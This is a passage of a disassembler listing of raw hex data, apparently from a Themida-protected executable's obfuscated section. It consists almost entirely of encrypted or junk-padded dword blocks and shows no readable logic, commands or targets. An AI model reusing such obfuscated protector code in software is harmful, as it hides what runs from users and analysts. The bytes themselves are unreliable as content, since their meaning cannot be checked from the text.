296ED90Ah, 2D4A9DD0h, 4D89CAA5h, 0EFF5FB03h, 478A16AAh dd 2EA2C85Ch, 0D4A9D2Eh, 0A4175E4Ah, 0AC4EB9E7h, 374EB981h dd 684A9DE2h, 0DC1C5E24h, 0CDC5F08Dh, 64DF96BDh, 0EB4C8D0Fh dd 3D697892h, 7D19CB8Dh, 631022A3h, 29A2C3BBh, 7F4A9D71h dd 22D63500h, 2D4A97D8h, 942CFD2Eh, 962CBBA6h, 7D2BADF3h dd 0E9E2392h, 0A615E9D3h, 4B4EB935h, 0A6A1B407h, 0E6C1FB5Ch dd 296ED9A7h, 5F7DEBA9h, 0E2C0C5DDh, 300F283Ah, 3FA39BF2h dd 2C4A9D71h, 0D19E5575h, 2B18C8E5h, 0B256A84h, 3BC6032Eh dd 0F4F7B6DDh, 0A04C8DD7h, 3ECF1767h, 9A45CB77h, 9245C74Eh dd 0A69A6294h, 3D47C493h, 0AC4EF711h, 0FB216855h, 9E7CF5F1h dd 0A62C9EEDh, 97E1C82h, 2E453E8Eh, 0C5189D36h, 2D4A9D2Dh dd 7789C737h, 296EC902h, 296ED944h, 2D4A9DFBh, 0EF89CF33h dd 0FD9BAA0Ah, 381F501h, 0A62CF43Bh, 97E1CE9h, 445FB1ACh dd 0C51B9DAFh, 2D4A9DE1h, 7489C451h, 296ED131h, 296ED9DDh dd 2D4A9D32h, 6489CC56h, 69CF0403h, 93EEC806h, 0CFCB9D88h dd 75BFF9DFh, 932C4D47h, 0A8C3EFC1h, 2B595F4Fh, 0C5189D7Dh dd 2D4A9D88h, 7789C7E5h, 296EC96Bh, 296ED9F0h, 2D4A9DA4h dd 0FB89CF1Eh, 0E6C97C3Ch, 47F6759Eh, 2D4A9263h, 657C98C5h dd 977EF9A6h, 77A3FBC7h, 0E049BF96h, 7CF2B2E2h, 3CA3C217h dd 434A9D17h, 5BF669BFh, 4222765Ch, 3C6AB03h, 6FF1EDCDh dd 0E14F6533h, 0A44A9D5Eh, 3E88F8ABh, 358A1E11h, 0EF231802h dd 0ED799BD6h, 2D48715Bh, 97E06E71h, 65E699B4h, 2D4A95B5h dd 0CDC0F82Eh, 28708605h, 90C3FDFDh, 2B5A8344h, 0A88CFC1Eh dd 2B5ABE94h, 7B4AF7FBh, 2D4A9EB4h, 0EE14BD2Eh, 93E1449h dd 90E1C8Fh, 2D4A89C1h, 0EE1CDBE2h, 2D467422h, 20FD9DB8h dd 0A188C238h, 58794134h, 0E7C11457h, 2D4A9963h, 4A21C3C5h dd 2DCF927Eh, 7D4A9D71h, 0C9CCD806h, 90E163Bh, 2D5E742Ah dd 7AD19D17h, 3FA82C7Fh, 0A173C9D0h, 0E8024D9h, 82AEE670h dd 2DC134BDh, 4164223Ah, 296ED9A7h, 3CA2CF47h db 8Bh, 9Dh, 4Ah byte_5879F3 db 1Fh ; DATA XREF: Themida_:0054E1A8o dd 0B812786h, 8EB2BA2Fh, 0FAFE236Ch, 1F5F152Dh, 2D4A1B53h dd 22139D2Eh, 77B01626h, 2D20C5D3h, 2D497592h, 726A9DE2h dd 51C3C2B2h, 69CB999Ch, 2D579978h, 7A0D9D2Eh, 6AD57DD4h dd 3F4BB505h, 24B6FA77h, 3D67A06Fh, 68FF6277h, 224C8DA5h dd 2D4A96DAh, 28CA922Eh, 934A9D17h, 127E1576h, 2D4A982Ch dd 20E785E2h, 0A8C701A3h, 2B591832h, 0A0C1CDA4h, 2B5A8C2Fh dd 479A6248h, 2EA2CB8Bh, 0D4A9DC5h, 0A4145EBCh, 0AC4EB905h dd 354EB9FCh, 6B4A9D5Ch, 0FD7E5E78h, 4D6A9CF1h, 0EDF0000h dd 92459BD5h, 0D3C1FC2Ch, 0C2F18F8h, 0B8639BA8h, 2B5AB719h dd 0BA318A3h, 2D209B07h, 2D4975DBh, 756A9DC5h, 69C3C521h dd 69CB9955h, 2D5F999Ch, 7D0A9D5Ch, 0A6BAE7EDh, 3D69F4A2h dd 58C7148Dh, 0A44C8DD7h, 3D578467h, 54F71677h, 0EB4C8D9Fh dd 3D6978D9h, 98C3CE28h, 2B5A8E52h, 2D4A9963h, 9C0245C5h dd 77F5FB1Eh, 69C1CDB1h, 942C999Ch, 2DC128B8h, 846D8997h dd 90E1426h, 0DDC1FB8Fh, 7C4AF79Dh, 2D4A9E0Ah, 0EE13BD71h dd 90614E1h, 90E1C58h, 2D4A862Ah, 0EE1BDC17h, 559C7D25h dd 0B3098F3h, 2D4A940Ah, 63FD7F71h, 188CFCF9h, 0B8C3BF40h dd 2B5A88AFh, 0D2B1164Dh, 3D57D83Eh, 2BC792C3h, 1E4A9DE2h dd 3D42B4CCh, 0A7CF10BEh, 474C8ED9h, 2EA2CB2Eh, 0D4A9D17h dd 0A4145ED5h, 0AC4EB9B1h, 364EB9A6h, 6B4A9D71h, 83995EEEh dd 0D051F6B4h, 0D2B6DC73h, 7B4AF7C7h, 2D4A9E63h, 0EE14BDC5h dd 93E14BCh, 90E1C75h, 2D4A88BCh, 0EE1CDB5Ch, 0D2F581F9h dd 0AC2904E2h, 29C6E465h, 0E4CF14CFh, 474C8DD3h, 2EA2C871h dd 0D4A9DB8h, 0A4175E01h, 0AC4EB942h, 3A4EB953h, 684A9D8Bh dd 5DD55E90h, 90637A66h, 2B5AAFF8h, 0EAF187Eh, 47199B4Ch dd 2EA2CE2Eh, 0D4A9D17h, 0A4115ED0h, 0AC4EB999h, 364EB9A6h dd 6E4A9D71h, 96EA5EEBh, 83F81ECEh, 25A34B17h, 994A9D17h dd 0AE0296D1h, 450C06E5h, 8450703Fh, 19CBDBC3h, 2F63F39Ch dd 7C4AF72Dh, 2D4A9EC6h, 0EE13BD17h, 90614D2h, 90E1CC1h dd 2D4A86E6h, 0EE1BDC71h, 6601F901h, 0A57B50BCh, 300F28D1h dd 2D209B07h, 2D4975D9h, 776A9DC5h, 79C3C721h, 69CB9955h dd 2D52999Ch, 7F089D5Ch, 7BEB6BEDh, 20A30CAFh, 964A9D8Bh dd 2E1EFA1Fh, 8804AEFDh, 6EBEC431h, 0A0827838h, 3ECF17D9h dd 7D4AF728h, 2D4A9EFFh, 0EE12BD8Bh, 90E149Dh, 90E1CE6h dd 2D4A8675h, 0EE1ADDB8h, 622E605Ch, 0CD27B1F6h, 0D21D4497h dd 0CE8F1D5Bh, 2EF184Ch, 2D209BF2h, 2D497526h, 726A9DB8h dd 51C3C29Fh, 69CB990Ah, 2D509933h, 7A0D9D8Bh, 98B03806h dd 0A4C5F188h, 2D4A8D99h, 0A843ADB8h, 954F4128h, 39662C78h dd 0BD6F5DC8h, 0CFF16EDh, 734C8DC2h, 0EAF1824h, 470D9B61h dd 2EA2CEB8h, 0D4A9D5Ch, 0A4115E75h, 0AC4EB94Bh, 314EB9CFh dd 6E4A9DC5h, 4A765EB1h, 3740E7h, 4560FF16h, 15D7ADAFh dd 2D4A97C7h, 604DDE17h, 0FA532146h, 0ACE70425h, 81FCB9E6h dd 4B2AE230h, 0A4531D06h, 3D6A64D1h, 98B5FC28h, 2B5A8052h dd 0A211570Ah, 0A8C7EAA1h, 2B591868h, 0C51D9D1Bh, 2D4A9DBBh dd 7289C27Ch, 296EE1A7h, 296ED996h, 2D4A9D93h, 3089CA82h dd 0D5FD2121h, 1FF44D8Eh, 0A4067173h, 3D4A34D9h, 5CDF1628h dd 0EB4C8D03h, 3D69780Eh, 2D20DAC3h, 2D4975B7h, 706A9D71h dd 41C3C07Bh, 69CB9978h, 2D53990Ah, 780F9D17h, 0D2E16848h dd 0C5882E00h, 2D4A9DE6h, 0AC968D0Bh, 0A50A22DEh, 90E160Ch dd 27CA922Ah, 0C44A9D17h, 2D4A9D8Eh, 14769BC9h, 0A64A1686h dd 90E148Fh, 4B18CDBCh, 1C454AD7h, 0D0FBCF7Eh, 72F0AC18h dd 77401396h, 7512C79Dh, 0C51B9D88h, 2D4A9D72h, 7489C498h dd 296ED1D5h, 296ED9AFh, 2D4A9D0Bh, 1189CCCAh, 26102946h dd 0B66A1EAAh, 2D4C7511h, 0FE289DB8h, 9EB02E21h, 2D4A1D21h dd 4B139D17h, 222B6F00h, 98B55672h, 2B5A80A7h, 0C51A9D1Bh dd 2D4A9DBBh, 7589C57Ch, 296ED9A7h, 296ED996h, 2D4A9D96h dd 0F989CD85h, 0EB45A727h, 902A19AAh, 2DCD92D3h, 0A04A9D5Ch dd 3ECF17ABh, 7C4AF711h, 2D4A9E63h, 0EE13BDC5h, 90614BBh dd 90E1C75h, 2D4A86BCh, 0EE1BDC5Ch, 0D7028115h, 8EC8B86Dh dd 8CFF16DBh, 724C8DCBh, 2D204D1Dh, 2D497527h, 736A9DB8h dd 59C3C39Fh, 69CB990Ah, 2D569933h, 7B0C9D8Bh, 721B5306h dd 718372CBh, 4B1A64EFh, 733AC107h, 3CBF28D7h, 0A8C39B3Eh dd 2B5A9F52h, 274B0800h, 0A88C9BD5h, 2B5ABE07h, 7E4AF736h dd 2D4A9E50h, 0EE11BD5Ch, 9161475h, 90E1C13h, 2D4A818Fh dd 0EE19DEC5h, 0B1535D8h, 0D8227CD8h, 0C4FF9400h, 454C8D71h dd 0CFFC575Eh, 6EA996h, 2202E67Dh, 2D4A9C45h, 0A8C365E2h dd 2B5AAFD0h, 300F2847h, 2D209B4Ch, 2D49757Fh, 746A9D17h dd 61C3C448h, 69CB99E1h, 2D5799C6h, 7C0B9D71h, 0B20BB97Bh dd 6AA320A2h, 0A04827C6h, 3ECF1792h, 2FC8928Dh, 0A64A9DC5h dd 479A621Ch, 2EA2CC71h, 0D4A9DB8h, 0A4135E05h, 0AC4EB962h dd 394EB953h, 6C4A9D8Bh, 4BB45E94h, 818B4F63h, 23EB207Ah dd 0A8C39BA8h, 2B5A99A5h, 2D4A92C7h, 0BC75317h, 0D6E79BA4h dd 4C31F133h, 0C174EF5Ah, 2D204D8Eh, 2D4975E9h, 746A9D5Ch dd 61C3C4EDh, 69CB9933h, 2D5199AFh, 7C0B9DC5h, 0AE008A21h dd 0DA758E5Bh, 5CA41C52h, 0A655DB12h, 3D65809Bh, 8CF1411h dd 0AC4C8D85h, 0C9E8AC2Ah, 0F5C6FBC4h, 39B10FAh, 0A8459BA8h dd 2D4A9D45h, 2D4A89C7h, 48E1B617h, 0A395BFB9h, 81E13975h dd 61D24AA3h, 0D8E051D0h, 474EB9BAh, 2EA2CC5Ch, 0D4A9D2Eh dd 0A4135E4Eh, 0AC4EB9C7h, 3A4EB981h, 6C4A9DE2h, 0F1215E20h dd 90C3086Ah, 2B5A88DDh, 2D4A8EC7h, 721CF317h, 0F59B124Fh dd 8FC864Bh, 4913CD94h, 208E089Ah, 0A9455DB2h, 2D4A9FB6h dd 0C5199D44h, 2D4A9D14h, 7689C6ABh, 296EC14Ch, 296ED963h dd 2D4A9D68h, 0AE89CEFBh, 0E1C9C9BBh, 0A88C6542h, 2B5ABEF2h dd 7F4AF7C4h, 2D4A9E2Dh, 0EE10BDE2h, 91E142Bh, 90E1CBCh dd 2D4A8858h, 0EE18DF2Eh, 0D92254F8h, 94EFD10Fh, 62A84007h dd 1D6EA963h, 0C4505199h, 2D4A9DB2h, 69FAC8Ch, 89D08A67h dd 98B56B02h, 2B5A80CEh, 0D0B5FB7Bh, 0A7CF10E5h, 474C8EF4h dd 2EA2CFB8h, 0D4A9D5Ch, 0A4105E74h, 0AC4EB943h, 314EB9CFh dd 6F4A9DC5h, 0AE625EB0h, 76220A31h, 0A48D2A99h, 3D59A4E1h dd 479A6228h, 2EA2CB17h, 0D4A9D8Bh, 0A4145E9Bh, 0AC4EB996h dd 3A4EB935h, 6B4A9DB8h, 59265E0Ah, 0AC2C538Bh, 0AE8FC4FDh dd 2D20B94Bh, 2D497593h, 736A9DE2h, 59C3C3B2h, 69CB999Ch dd 2D5E9978h, 7B0C9D2Eh, 0B8C172D4h, 2B5AB30Ah, 0F8CF1430h dd 4B4C8DE7h, 0D91D6CF0h, 31370031h, 0A8C19B4Ch, 2B5A930Bh dd 0D702771h, 29B30000h, 47099BD5h, 2EA2CAE2h, 0D4A9D71h dd 0A4155EE7h, 0AC4EB920h, 3A4EB96Ah, 6A4A9D17h, 6F6D5EDCh dd 98416373h, 2B5A826Fh, 9F2A86FAh, 2D4775D2h, 4C339D5Ch dd 5CA05660h, 0F7D30AA0h, 0A69FC266h, 0A62BC532h, 7E4AF7F9h dd 2D4A9E99h, 0EE11BDB8h, 9161407h, 90E1C2Ah, 2D4A8713h dd 0EE19DE8Bh, 0A23F6DF1h, 0A459661Ah, 3D4F18CCh, 61831CBEh dd 0A66A1A14h, 7F4AF735h, 2D4A9EFFh, 0EE10BD8Bh, 91E149Fh dd 90E1CE6h, 2D4A8475h, 0EE18DFB8h, 92FF6C8Ah, 27A2F7D9h dd 44A9D17h, 0B149FE8Eh dd 3A733C66h, 72A417A8h, 90C14542h, 2B5A9099h, 3CB700D5h dd 2D209B3Eh, 2D497542h, 706A9D8Bh, 41C3C006h, 69CB99C6h dd 2D579955h, 780F9DB8h, 0B1536E9Fh, 5DF752FFh, 0ACAD8E45h dd 8F52842h, 0EBA52CE3h, 3D697867h, 0A0C1DA77h, 2B5ABEE9h dd 7C9E4334h, 2D417489h, 9CDA9D17h, 4400984Dh, 0CE981C1h dd 97E1C8Dh, 3DC59406h, 2D4A8D51h, 6393C55Ch, 0E457B95Dh dd 364751A5h, 9AFD0C84h, 68FF6248h, 474C8DFFh, 2EA2C871h dd 0D4A9DB8h, 0A4175E01h, 0AC4EB942h, 394EB953h, 684A9D8Bh dd 0A0E95E90h, 3ECF1767h, 0FDB56877h, 35EB2031h, 0A8C39B4Ch dd 2B5A9D87h, 0C51C9D7Dh, 2D4A9D88h, 7389C3E5h, 296EE96Bh dd 296ED9F0h, 2D4A9DACh, 0FF89CB1Ah, 474A166Eh, 2EA2CF17h dd 0D4A9D8Bh, 0A4105E9Fh, 0AC4EB9B6h, 3A4EB935h, 6F4A9DB8h dd 0DFB85E0Eh, 2DC1CF01h, 0E7F592EBh, 39731802h, 2D209BD5h dd 2D4975B3h, 746A9D71h, 61C3C47Bh, 69CB9978h, 2D5E990Ah dd 7C0B9D17h, 26A35248h, 424A9DC5h, 0C9BDF4CDh, 8D94F1DAh dd 61A3F7C6h, 974A9D5Dh, 78A4887Fh, 0DA074A96h, 0A8C7AE28h dd 2B595F42h, 0BD9C22EDh, 24A2CF21h, 0F84A9DB8h, 0F5978E6Ch dd 3114D364h, 2D4A98FFh, 0DE617A8Bh, 73135184h, 0DFF5ACEDh dd 771F8BF7h, 0D5C1CDE0h, 7E4AF7CCh, 2D4A9EC6h, 0EE11BD17h dd 91614D0h, 90E1CC1h, 2D4A8AE6h, 0EE19DE71h, 0A7FD13E4h dd 3D9F28D7h, 0B8B59B3Eh, 2B5A88CAh, 0C51A9DE1h, 2D4A9DC6h dd 7589C5C2h, 296ED9F8h, 296ED939h, 2D4A9D40h, 8989CD6Eh dd 996559E8h, 0F353C8DDh, 0EFC70048h, 0EFCB9BF1h, 3E336CA8h dd 2D4F742Bh, 6F379D5Ch, 7D549F0Ah, 2D4A92FFh, 0CFD0108Bh dd 8EFDF0E8h, 932D09B0h, 0BF4DDFAFh, 2D4A9751h, 9D57885Ch dd 1C756033h, 728C42FDh, 1BB81C18h, 0BD28C077h, 2D4919EDh dd 0A62C9D71h, 4B2ACD6Eh, 971942D7h, 17C18051h, 47DAFC49h dd 2EA2CE8Bh, 0D4A9DC5h, 0A4115EB9h, 0AC4EB92Dh, 374EB9FCh dd 6E4A9D5Ch, 0FC205E7Dh, 2919873Ah, 54CF14E5h, 0D24C8DC2h dd 3D471877h, 78F71477h, 0A44C8DACh, 3D4F48D9h, 7A4AF728h dd 2D4A9EFFh, 0EE15BD8Bh, 936149Ah, 90E1CE6h, 2D4A8175h dd 0EE1DDAB8h, 52C8B4E4h, 7264DC6Bh, 7CC7943Bh, 0EB4C8D81h dd 3D697840h, 2D20CEE4h, 2D497521h, 756A9DB8h, 69C3C59Fh dd 69CB990Ah, 2D569933h, 7D0A9D8Bh, 0C076A706h, 0A9677E43h dd 45B26EB3h, 0D6C5E3C5h, 19CB2DE9h, 25B09F0Ah, 7E4AF746h dd 2D4A9E63h, 0EE11BDC5h, 91614B9h, 90E1C75h, 2D4A89BCh dd 0EE19DE5Ch, 68FF62F3h, 0AC4C8D0Ah, 0D30E9B64h, 0A7CF10C8h dd 474C8E67h, 2EA2CB71h, 0D4A9DB8h, 0A4145E02h, 0AC4EB95Ah dd 384EB953h, 6B4A9D8Bh, 68B35E93h, 2D4614EDh, 0A1459D71h dd 2D4A9DBEh, 2D4A1853h, 0FDB59D2Eh, 0C5199D7Dh, 2D4A9D88h dd 7689C6E5h, 296EC16Bh, 296ED9F0h, 2D4A9DA4h, 5189CE1Fh dd 0BCACBD76h, 15BF75DFh, 2D4C1284h, 0B8C19DC5h, 2B5A8AE7h dd 29DF18F8h, 2D209BA8h, 2D49750Ah, 736A9D2Eh, 59C3C3D4h dd 69CB99AFh, 2D5E99E1h, 7B0C9DE2h, 0A41DCAB2h, 3D7A300Dh dd 0A88CC35Ah, 2B5ABECBh, 0D7C1FB50h, 4EC11E3h, 0A62CFDA7h dd 2D4C7521h, 4CAF9D71h, 0AE4A1A3Ah, 4C14FC3Ch, 296E99AFh dd 4775D578h, 2EA2CF8Bh, 0D4A9DC5h, 0A4105EB8h, 0AC4EB925h dd 354EB9FCh, 6F4A9D5Ch, 44115E7Ch, 948B6EBCh, 2534243Fh dd 300F283Ah, 0B8619BF2h, 2B5ABAF0h, 0A8C01835h, 92459B4Fh dd 479A62E5h, 2EA2CD17h, 0D4A9D8Bh, 0A4125E9Dh, 0AC4EB9A6h dd 354EB935h, 6D4A9DB8h, 0AF345E0Ch, 7CCBC8E0h, 0AE262371h dd 3BBB1CD5h, 0A42C70DBh, 3D58B867h, 2D587477h, 0CAB59DB8h dd 597A3D0Ch, 7093FF7h, 0EF934944h, 73EAE33Dh, 0EAF1803h dd 47199BF2h, 2EA2CF71h, 0D4A9DB8h, 0A4105E06h, 0AC4EB97Ah dd 364EB953h, 6F4A9D8Bh, 2F4E5E97h, 5D8161DCh, 982AB561h dd 29A2FC08h, 0BD4A9D5Ch, 7DD3A471h, 4B7B9245h, 75105500h dd 0A645FD95h, 2D4A9DE0h, 39A2C723h, 0DF4A9DB8h, 7630E556h dd 362D3A05h, 86F5A42Eh, 0B7E56E72h, 0A6BDCF49h, 0A62BC51Ch dd 0A64EB935h, 4D4A1642h, 0C52A64D7h, 2D4A9D3Ch, 99E058D3h dd 202B0B68h, 0B48BCA1Bh, 3774653Eh, 7C15D437h, 0A42BFCE1h dd 944EB918h, 787F46D4h, 784AF74Fh, 2D4A9E63h, 0EE17BDC5h dd 92614BFh, 90E1C75h, 2D4A88BCh, 0EE1FD85Ch, 79F52471h dd 0D252BB17h, 3D57D83Eh, 0FCF592C3h, 0A8C0186Fh, 2D209B62h dd 2D4975EBh, 766A9D5Ch, 71C3C6EDh, 69CB9933h, 2D5399AFh dd 7E099DC5h, 952AC21h, 0D2FCEF51h, 7A4AF768h, 2D4A9EB4h dd 0EE15BD2Eh, 9361448h, 90E1C8Fh, 2D4A81C1h, 0EE1DDAE2h dd 45C06047h, 0A3AF416Ch, 94CF14C2h, 0A44C8D03h, 3D649CA2h dd 38C3928Dh, 0C44A9DC5h, 2D4A9DF2h, 6BD504F3h, 5E4E9B9Ch dd 276B1926h, 26B70C5Bh, 0EAF18D1h, 471D9B9Bh, 2EA2CAC5h dd 0D4A9DE2h, 0A4155E2Eh, 0AC4EB9C4h, 3B4EB918h, 6A4A9D2Eh dd 0C35A5E40h, 88FF948Dh, 0A44C8DCAh, 3D56FC7Fh, 1B13F577h dd 29CB1A78h, 69513078h, 98B56426h, 2B5A8052h, 0C51C9DE1h dd 2D4A9DC6h, 7389C3C2h, 296EE9F8h, 296ED939h, 2D4A9D46h dd 0A889CB68h, 8B5786DCh, 2AA20626h, 314A9DC5h, 0D95169F3h dd 0B8C12DA4h, 2B5A86F1h, 0FBC1FB02h, 0A8C018A3h, 2D209B04h dd 2D4975DAh, 746A9DC5h, 61C3C421h, 69CB9955h, 2D52999Ch dd 7C0B9D5Ch, 0D3FAF5EDh, 0FDB5B2DFh, 98D7B4EBh, 0A44C8DECh dd 3D60BC67h, 0A8C3FC77h, 2B5A9BADh, 0C5199D36h, 2D4A9D2Dh dd 7689C637h, 296EC102h, 296ED944h, 2D4A9DFFh, 0F789CE32h dd 27126B67h, 2C5B4E0Ah, 0D7F59277h, 5BC1C71h, 0C8CF5BBCh dd 6E4C8DE6h, 0C5199D88h, 2D4A9D72h, 7689C698h, 296EC1D5h dd 296ED9AFh, 2D4A9D03h, 4289CEC8h, 6E0D08ADh, 2D4575BDh dd 8B949D71h, 2408DDD0h, 662017BBh, 85DADA0Fh, 2D5875E2h dd 0DA949D8Bh, 4E6E3486h, 30F078F2h, 0D8097E7Eh, 619B0619h dd 72156AD7h, 0BE6E99AFh, 4717D03Fh, 2EA2CD8Bh, 0D4A9DC5h dd 0A4125EBAh, 0AC4EB935h, 384EB9FCh, 6D4A9D5Ch, 977C5E7Eh dd 2D4A89FEh, 0F70A0D8Bh, 0CE112F3Bh, 84C1D74Dh, 84021CEDh dd 6B264E3Bh, 0F5A41DE7h, 300F28D1h, 2D209B07h, 2D4975DCh dd 726A9DC5h, 51C3C221h, 69CB9955h, 2D56999Ch, 7A0D9D5Ch dd 0B3F1C1EDh, 0AF546809h, 0C5BF07A5h, 2D4A9DC0h, 0AC4D1EDh dd 0CCCBFB92h, 0A0142F53h, 3ECF17D9h, 7E4AF728h, 2D4A9EFFh dd 0EE11BD8Bh, 916149Eh, 90E1CE6h, 2D4A8775h, 0EE19DEB8h dd 0FA2AC316h, 0A645FE9Fh, 3D699482h, 479A628Dh, 2EA2CFC5h dd 0D4A9DE2h, 0A4105E2Bh, 0AC4EB9ECh, 384EB918h, 6F4A9D2Eh dd 228F5E45h, 0A48116EDh, 3D645440h, 2D5974E4h, 87279D71h dd 0D1FA2B14h, 852759A9h, 0D9B8B4E6h, 220E9C35h, 0D714ABh dd 0A04C8DE8h, 3E88E067h, 7E4AF777h, 2D4A9E50h, 0EE11BD5Ch dd 9161475h, 90E1C13h, 2D4A888Fh, 0EE19DEC5h, 98C1351Eh dd 2B5AB370h, 7D841628h, 0A6DA4CD7h, 3D5884BBh, 0F0DF6211h dd 0C44C8D9Eh, 2D4A9DCBh, 0ADEC1B3Ah, 62F1468Ah, 22363EF1h dd 0F5C12FB4h, 0C51A9D44h, 2D4A9D14h, 7589C5ABh, 296ED94Ch dd 296ED963h, 2D4A9D6Bh, 89CDF8h, 96429939h, 0A8C7A154h dd 2B595F66h, 238F1088h dd 7DDA9BD5h, 7D7B92B0h, 2DCA9223h, 224A9DB8h, 7780166Dh dd 7D12C776h, 1F2FB77h, 4BF5FB9Ch, 7FDAFCAFh, 2D5E75B4h dd 0C1979D71h, 3E5BAC2h, 0AA9931C1h, 5F667A25h, 62E78FFDh dd 7213E100h, 26C5929Ah, 224A9DE2h, 2D4A98F7h, 0E2CBFBB8h dd 98D9205Ah, 0D5C1CD49h, 0A445CE84h, 2D4A9D8Dh, 0A320CEh dd 0D2149BF2h, 3D4718E4h, 7A4AF7BEh, 2D4A9EB4h, 0EE15BD2Eh dd 9361448h, 90E1C8Fh, 2D4A81C1h, 0EE1DDAE2h, 9A5014ACh dd 47D85D4Eh, 2D4D75BFh, 0B3B79D2Eh, 0E7842C3Fh, 77861739h dd 2083184Ch, 2D209BF2h, 2D497521h, 756A9DB8h, 69C3C59Fh dd 69CB990Ah, 2D5E9933h, 7D0A9D8Bh, 0A62CF406h, 78CF5A2Ah dd 224C8D71h, 264A9DB8h, 3D537CE9h, 0E4DF6228h, 0C54C8D1Ah dd 2D4A9D8Eh, 552F5493h, 2D5B753Dh, 0E3859D71h, 0C9F97A80h dd 3842133Bh, 8BFABD9Ch, 7765030Dh, 0F0CF14D4h, 44C8DEFh dd 3D5CAC77h, 10C71477h, 0A64C8DA3h, 3D6BF8D9h, 0CFD71028h dd 0A44C8EC1h, 90C79CC8h, 2B5ABB2Ch, 0FBF6286Fh, 1EF39B62h dd 0DE4A9DB8h, 957976F8h, 2D4A9D2Eh, 2E3E5D1Ch, 0A64A8549h dd 7E46B981h, 2D4A9D0Ah, 0EECBC671h, 2D4A9DAFh, 3D6EC1D5h dd 396ED9A7h, 8D7D254Ch, 0CDB59D29h, 296ED94Eh, 0E8F47D1Dh dd 0C44EF0B3h, 2D4A9DBDh, 0C5FB4749h, 0A445FC5Ah, 2D4A9D34h dd 2D4A9263h, 0C88D93C5h, 7AB012E5h, 0A712EB4Ch, 4B4466DDh dd 2D4A94B5h, 794A3F2Eh, 0CC584BADh, 0A0155608h, 3E88EC78h dd 69C710E4h, 954C8EA6h, 0B56C368Dh, 3D87186Fh, 0E2619B3Eh dd 782D20FDh, 172D4975h, 48736A9Dh, 0E159C3C3h, 0C669CB99h dd 712D5E99h, 837B0C9Dh, 0A4F305E9h, 6AD98Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C7587C3h dd 0E99A0D65h, 14h, 570A3BA7h, 88099D4Dh, 0FB2C9ED9h, 6888E2D7h dd 890FA3E2h, 52E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0B341F020h, 6A611Eh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 206501C3h, 3A8465ADh, 0E9265FA8h, 5, 5F710269h, 8BF8C389h dd 0D8F0FC0h, 60000000h, 3D37FFBAh, 0BAD18161h, 614BB255h dd 158DBD83h, 75000610h, 95BD8309h, 61000h, 53501974h dd 0B9B8C08Bh, 89000004h, 10132D85h, 7C9D8D06h, 0FF0612B8h dd 83585BD3h, 100095BDh, 17740006h, 0B9B85350h, 89000004h dd 10132D85h, 1D9D8D06h, 0FF0612B5h, 60585BD3h, 0F4BF66h dd 6A61FCh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 405A63C3h, 0A327CEC4h, 8E9C08Bh, 0A4000000h dd 84E9E8ACh, 4032304Eh, 8166C18Bh, 0EB1421CEh, 4, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 7CDBDEA9h, 0BE8h, 0CFACD900h, 3D054BEEh, 1AA202Ch, 1B3D8D89h dd 95F0610h, 101711B5h, 81850906h, 8D06100Ah, 1013B985h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 83EB0A17h, 68050C95h, 0ABBFF38Bh, 90568F3Fh dd 5958BE66h, 0C5BE6650h, 6A900Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 13E8BDC3h, 7A000000h dd 3A9BF491h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h, 8D8938FCh dd 6100809h, 0FA8B665Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0D7817DC3h, 65961E8Ch dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 6F1A51C3h, 14E983h, 0C5390000h, 8F9E7A0Dh dd 0A54C3C8Bh, 7601A456h, 0FA17A914h, 858D860Fh, 613DA96h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2EC35747h dd 357E459Ah, 0EA9B589h, 0F28B0610h, 6A05C083h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 29BCC355h, 18C0BC9Eh, 1883C08Dh, 3870Fh, 8B660000h dd 8B6650F3h, 240489F3h, 0DE5BD29h, 6A0610h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 12C35747h, 0F3B70FF2h dd 0B58B006Ah, 6101575h, 1D1995FFh, 8D890610h, 6101081h dd 0AFD89D8Dh, 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 292C7AC3h, 10218195h, 89D3FF06h dd 100BADB5h, 1985FF06h, 0E9061014h, 5, 2C1C3F32h, 7B3E951h dd 0E80000h, 5D000000h, 0DAA0ED81h, 95890613h, 6100BD5h dd 55BD81h, 7D00610h, 860F0000h, 169h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 90C35747h, 95387CDEh, 259D8973h dd 8B06101Dh, 1023819Dh, 13E806h, 73940000h, 621D7F0Ah dd 0AB070137h, 0F86E0861h, 115ABAD0h, 5EF78B2Ah, 100E381h dd 870F0000h, 6, 3169BD8Bh, 0DB0B0610h, 0AD850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0FA35ECC3h, 800534A5h, 0BD83E8E0h, 613D896h, 28840F00h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 73C5C352h, 0CDD10A65h, 7FE9D018h dd 0C7000000h, 13D89685h, 106h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0BFB5F1D6h dd 5A966AF7h, 108E0Fh, 0BE90000h, 0DC000000h, 8F18521Fh dd 0FB5D5FE5h, 800F3FC6h, 1, 30E9FCh, 81660000h, 0C74887F6h dd 13D89685h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0C63CA572h, 9D8D823Ah dd 6102381h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0B7C35646h, 0D5D91D5h, 81AF7B82h, 0FFFEFF23h, 